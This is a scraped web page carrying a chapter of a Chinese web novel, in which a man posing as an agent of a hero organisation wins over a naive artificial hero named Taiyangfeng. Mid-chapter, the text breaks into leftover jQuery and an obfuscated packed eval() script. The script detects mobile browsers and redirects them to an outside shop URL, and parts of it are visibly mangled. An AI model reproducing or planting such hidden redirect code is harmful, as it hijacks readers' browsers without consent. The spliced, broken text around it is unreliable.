$(''.inform'').remove(); $(''#content'').append('' 读者称作【极光】。 一个相当璀璨的外号。 可是,S-Prime的能力应用却不止于此。 在与主角团作战的后期,他展现出了对能力的高阶应用:造物! 将无形的能量,塑形成具有特定功能的武器与道具。比如说等离子光刀,电磁束缚环,极光壁垒,等等。 这些都是令当时的读者目瞪口呆、大呼作弊的能力。 想想看:在《星球大战》里,光剑还是绝地武士的高级装备呢,结果来到《异我之名》里,S-Prime竟然手搓光剑,还是一把又一把的光剑。 这谁瞧了心态不崩? S-Prime,几乎堪称江闻舟所知剧情中最强大的地球异能者,没有之一。 他以一己之力,对战以林启明为首的主角团五人,无论主角团是选择一对一车轮战,还是“不要跟邪魔歪道讲江湖道义,大家伙并肩子上”,全都不是S-Prime的对手,甚至还被他数次逼入绝境。 那么,这样强大的对手,最后是如何被主角团打败的呢? 答案并非击败,而是拖延。 他不是败于主角团,而是败于他自身的缺陷。 S-Prime,是S系人造人中的“原点”,是不稳定的造物,更是Thaumiel的低配版。 所以,当他长时间模仿太阳领主、甚至仅仅是模仿Thaumiel时,他的身体就会开始自内而外地崩溃分解。 当S-Prime死时,这个表现得不近人情、好似一件纯粹战斗机器的人造人,看着天空耀眼的太阳,发出了近乎惆怅的感慨: “我不是败给你,而是败给了时间……败给了我自己……” “但如果我是Thaumiel……如果Thaumiel还在,你们绝不可能……再向前一步……” “如果我是Thaumiel就好了……” “如果我是太阳……就好了……” 正是这一段遗言,让无数读者在为了这个强大俊美反派的落幕而哀嚎的同时,也对Thaumiel生出了无尽的兴趣与期待。 他们,包括当时的江闻舟,都在思考同一个问题: 被S-Prime这样崇拜的Thaumiel,到底为何“不在”了? 在后续剧情中,他还会出现吗?以什么身份和定位出现? 当然,最重要的一点是:Thaumiel,究竟有多强? 如今—— 在江闻舟面前,一切都有了答案! · 6:12′ 江闻舟轻车熟路地来到05号车厢,在那个拿着《仿生人与赛博格》的年轻人面前停下脚步。 他目光直直地落在这位年轻英雄的身上,直到后者困惑抬头看他,江闻舟才露出亲切笑容。 “你好,太阳风,很高兴认识你。” 太阳风露出了惊讶表情,目光四处扫视一圈,暗藏警惕。 江闻舟像是没有看到一样,向太阳风递出了一张名片—— 一张正面写着【朱厚先】这个名字,背面画着交叉的盾牌与望远镜的名片。 “你应该认识这张名片吧?”江闻舟微微一笑,“组织让我来跟你谈谈合作。” 太阳风眨了眨眼,又眨了眨眼,伸手指着他自己,小小声道:“合作?我?” 江闻舟声音柔和了两分:“是的,是你,太阳风。或许你不相信,但此时此刻——至少在这辆列车上,我最信任的人,就是你。” 20.第20章 信任 想要取得太阳风的信任,实在是件再简单不过的事了。 对于江闻舟这样混迹职场十年、早已精通见人说人话、见鬼说鬼话的老油条来说,糊弄这样一个心思单纯的年轻人,简直易如反掌。 更何况,江闻舟手里还有从朱厚先那儿顺来的名片作为凭证,再加上他精准投其所好,只短短三分钟时间,太阳风几乎就把他当成了最好的朋友。 不仅如此,这个藏不住话的年轻人还一股脑儿地把自己的家庭背景和成员构成全秃噜出来。 太阳风:“……我一直都觉得我是很可靠的英雄,因为交到我手上的任务几乎没有失败过。虽然投诉率非常高,但是——没有失败呀!只要不失败,就是成功,难道不对吗? “可是夏青山、哦,我是说夏议员阁下,他总是要我反省要我学习……明明我任务都成功完成了!为什么还是要反省?你说他是不是好不讲道理!” 意外得知关键词“夏青山”的江闻舟一时语塞:“呃,这个……” 好的嘛,原来收养这位Thaumiel级人造人的,是群星联盟最高议会里的三十五位议员之一,同时也是第一批退役的S级英雄之一,夏青山。 也对。 按理说,也只有这个级别的人物,才有能力接触并收养一名Thaumiel级人造人。 太阳风继续吐槽:“……特别是今天早上!明明昨晚我都跟他说了,今天我要来地铁这边学习当一个人类,他也答应过我要送我出门,还说要让小星——哦,我是说星辰——陪我一块儿学习,结果呢?他竟然起不来! “后来我又找小星,他居然也起不来?都五点了!谁早上五点还起不来床啊?你说他们是不是很过分!” 江闻舟:“……” 小星? 对于这个称呼,江闻舟的第一反应是他的弟弟江晨星。 因为平时,江闻舟也是这样叫他“小星”的。 可很快的,他就反应过来,太阳风口中的“小星”,应该是B级英雄【星辰】,真名为夏洄星。 真是没想到,夏洄星竟然是夏青山的孩子?这可真是意外收获,连《异我之名》里都没有提到过。 不过,也对。 在漫画开始,夏洄星才堪堪挨到了A级英雄的边,连主角团的影子都没沾上,纯纯的路人英雄。 可跟他同龄的漫画主角林启明,却是已经出过多次任务、能独当一面的A级英雄了。 更巧的是,他们的外号甚至能力都很相似:一个外号是【星辰】,能力是操控星光的能量;一个外号是【黄金之星】,能力直接是操控光能。 这么一对比,夏洄星的心态直接爆炸,绝口不提自己父亲就是夏青山的事,也就不难理解了。 意外又收获一个重要消息,江闻舟人有些发麻。 不过,对于太阳风对夏青山和夏洄星的“指控”……怎么说呢,一般情况下,人类确实不会在早上五点就起床。 而且,当爹的答应陪自家孩子晨跑,结果最后只有孩子一个人跑,这种事,在人类社会里实在过于常见了。 甚至孩子自己都爬不起来的事,也很常见。 像太阳风这样说是什么就是什么的,才是真的少见。 只能说——他还是“开机”时间太短了,不知道人类就是这么一种满口跑火车的生物,才会随随便便就相信了人类的承诺。 真是个可怜的小朋友。 太阳风继续委屈:“……还有,今天早餐也是我自己做的!明明去年他带我走的时候,承诺过会好好照顾我,把我当亲生孩子看待,每天早上不论在哪都会赶回来给我做早饭…… “可从今年开始,他就让我吃泡面和挂面了!有时他回家晚了,还要我给他做饭——你说他是不是很不负责!” 江闻舟:“……” 关前的外表年龄十四五,可从日记就能看出他“开机”五年以上了。 而太阳风外表明明都十八岁往上了,结果他竟然是去年才“开机”的吗? 那很坏了,他真成诱拐犯了。 太阳风:“……还有,我今天从明心小区出来的时候——” “等等,停!” 江闻舟终于没忍住,伸手制止了他,真怕这个心理年龄不超过两岁的小朋友一个激动,把全家住址都抖出来。 不要再说了。 真的别再说了。 他作为一个普通人,是真的不想知道一位退役的前S级英雄、现任的群星联盟最高议会议员之一,以及一位现役的B级英雄和一位Thaumiel级别的人造人,都住在哪个小区哪栋楼。 江闻舟自己都害怕自己守不住大脑,在未来的某个时候突然遭遇外星人的脑控,一不小心就把一些要命的东西泄露了出去。 到时候,他是真的负不起这个责任。 ——所以,最好一开始就什么都不知道。 看着太阳风迷茫困惑的表情,江闻舟微微叹气,语气严肃地提醒:“夏议员阁下应该跟你说过吧——不要随便告诉别人你的身份,也不要透露你住在哪、喜欢去哪、有什么习惯。 “因为这些信息一旦被敌人掌握,就会成为他们攻击你、要挟你的致命弱点!” 太阳风像是被江闻舟吓到了,漂亮的眼睛一眨不眨地看着他:“你会这么对我吗?” 他小小声地说着:“你会伤害我吗?” 那双湿漉漉的眼睛近乎忧愁地看着江闻舟,就像是一只涉世未深的小鹿——他也的确涉世未深。 毕竟……他才两岁! 这世上,谁能这样狠心,去苛责一个睁开眼才不过两年的“孩子”? 更何况,这个孩子还长得这样好看、这样纯白,并且在自己都没有活明白的时候,就已经在做一种近乎奉献的工作……谁能忍心责怪这样的人? 至少江闻舟做不到。 江闻舟又一次叹了口气,声音柔和下来:“小风……”他选择了一个更亲切、更容易拉近距离的称呼,“问题不在于我是否伤害你,而在于你一开始就不应该给别人伤害你的机会。” 太阳风困惑道:“可是,你不是别人啊!” 江闻舟心跳又漏了一拍。 太阳风认真道:“你是守望者组织的成员,是我们的朋友啊!” 江闻舟:“……” 他无奈扶额:真是条坏狗! 一条见谁都会热情凑上去、让每个人都误以为自己对他很特别很重要的坏狗! 江闻舟反问:“你有没有想过,如果我是一个坏人,并且假借别人的身份来接近你,从你口中套出夏议员的信息,并针对这些信息设下陷阱,你要怎么办?” 如今,群星联盟里注册英雄们所面对的局势,其实是相当严峻的。 虽然不至于像某个复仇者联盟一样烂到了家,一进行注册就必定面临身份暴露、家人狗带、反派全部堵在家门口的可怕局面。但人类内部,从来都不是一条心的。 被英雄保护的人,反手骗出英雄的信息,挂在网上售卖——这样的事在当今社会屡见不鲜。 “难道你要在一切恶果发生之后才后悔吗?!” 江闻舟声音近乎严厉。 但在话音落地的瞬间,他就后悔了。 首先,斥责一个年轻的英雄、斥责他在这辆地铁上的最大帮手,对自己百利而无一害。 哪怕出于好意,这种做法也绝不理智。 交浅言深,君子所戒。 用现代的话来说就是:做人最忌讳的就是自我感动。 你斥责别人、建议别人,能真的改变什么吗?不可能的。 只不过是满足了那份自我感动的心理罢了。 再者,江闻舟所在的周目,只不过是一次粗浅的试探回合,事后很可能会重启、甚至是多次重启。 当一切推倒重来后,太阳风怎么可能会记得他此刻的这些话? 他对太阳风所说的一切,都只是一时冲动下的妄言、一种不可能会有结果的无用功。 想到这里,江闻舟眉头紧蹙,懊恼不已。 他觉得,自己还是太入戏了。 明明,他只是在扮演太阳风的朋友而已,就连他此刻的身份都是虚假的——怎么会有一瞬间,真的把自己当作了这位年轻英雄的挚友?! 但很快的,江闻舟就知道了自己为何如此。 只见,在江闻舟的注视下,太阳风非但没有像他想的那样,露出不悦或是抵触的表情,反而眼睛一弯,笑了起来。 “谢谢你。” 江闻舟:“……什么?” 太阳风开心道:“谢谢你愿意跟我说这些……明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16718054|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明我们认识了才没多久,你却愿意告诉我这样的道理,你一定是在非常真诚地关心我……谢谢你,你人真好!我真是太幸运了,能交到你这样的朋友!” 太阳风的开心如此纯粹真挚、不加掩饰,脸上的笑容仿佛要将他整个人都点亮。 于是那些久远的、江闻舟以为自己早就遗忘了的光影,也在这样的光影下忽明忽暗。 江闻舟莫名感到喉咙有些干涩,声音也有些不稳:“你怎么知道我在关心你?也许……我只是单纯想要对一个我永远都比不上的年轻英雄指手画脚、大放厥词,用愚蠢的指点江山来满足自己只能作为一个普通人活下去的自卑自傲呢?” 太阳风震惊看向江闻舟,说出的话再次出乎了江闻舟的预料:“竟然有人这样说过你吗?太坏了!你千万不要相信他!” 江闻舟下意识辩解道:“不,我只是……” 太阳风上前两步,捧住了江闻舟的脸,那双过分漂亮的眼睛在江闻舟面前无限放大,近在咫尺。 这一瞬间,江闻舟脑中一片空白。 他忍不住再度屏息,心跳如同擂鼓。 哪怕他的理智一遍遍告诫他,眼前这个年轻的人造人,只是个什么都不懂的孩子,是那种会向所有路过的人求摸求夸的坏狗…… 可这世上,有哪个“孩子”是这样年轻英俊的? 而这世上,又有哪个“坏狗”是这样……可爱的? ——太糟糕了。 听到自己胸膛内大得夸张的心跳声,江闻舟几乎感到了羞愧。 ——他怎么能……他怎么能对这样一个涉世未深的年轻人生出……这种念头?! 就在江闻舟几乎要推开太阳风的前一刻,太阳风开口了:“我知道的,你是一个很好的人——” “但你今天才刚认识我。”江闻舟强迫自己冷静反驳。 太阳风严肃道:“是的,我的确今天才认识你——但我就是知道,你是一个非常非常好的人!我能看出来,其实在那些告诫我的话说完后,你就后悔了吧?” “是啊,我可不是你以为的那种舍己为人的好人。世俗的成年人在交往的时候,是会反复评估利益的。” “可是,这些话是在你评估利益之前说的。”太阳风认真反驳,“你告诫我的这些话,不是因为你想要对别人的人生指指点点,而是因为你是一个善良的人,所以你没办法坐视另一个人会受到可能的伤害。 “哪怕你明知道说完后你就会后悔,明知道你可能会因此被人误解、被人讨厌……但你的第一反应也还是要说。” 说着,太阳风笑了起来。 就像真正的太阳一样,温暖灿烂。 “夏议员曾跟我说:‘真正的英雄主义,并不是站在阳光下接受万人欢呼的人,而是那些在无人瞩目的角落里依然坚守自我的人’。” 近乎不可思议的,江闻舟竟然又听到了这一段话。 “过去的我一直不懂……很多很多事我都不懂。可是,在看到你的时候,我突然懂了。” 太阳风笑着,眼中灿然含光:“你就是英雄啊——是我最敬佩的、最想要成为的那种英雄!” 江闻舟忍不住闭了闭眼,好避开那双眼睛里过分灿烂的光,也避免自己的心也好似在这团过分热烈的光芒下融化,从此变得软弱、变得犹豫、变得徘徊。 江闻舟不是十八岁的少年人。 他已经二十八岁了。 因此,当他再次睁开眼的时候,他已经收拾好了一切混乱的思绪与心情,再次露出了镇定从容的笑。 然后,他轻轻推开太阳风,道:“既然如此,小风,接下来如果我让你听我的指令行动的话,你会全力以赴吗?” 太阳风神色有些困惑,显然是不太明白在刚刚那短短的瞬间,江闻舟身上到底发生了什么、变化了什么。 他只是呆呆点头,说:“当、当然。” 江闻舟微笑道:“很好。接下来,我将代表守望者组织与你合作,展开一场关乎这条列车上所有普通人安危的重要的行动。我需要你全程听从我的指挥,全力以赴、绝不质疑——你能做到吗?” 太阳风神色先是惊讶,随后迅速镇定,展露出了“只有投诉率没有失败率”的英雄的职业素养: “我可以。” “请对我下令。”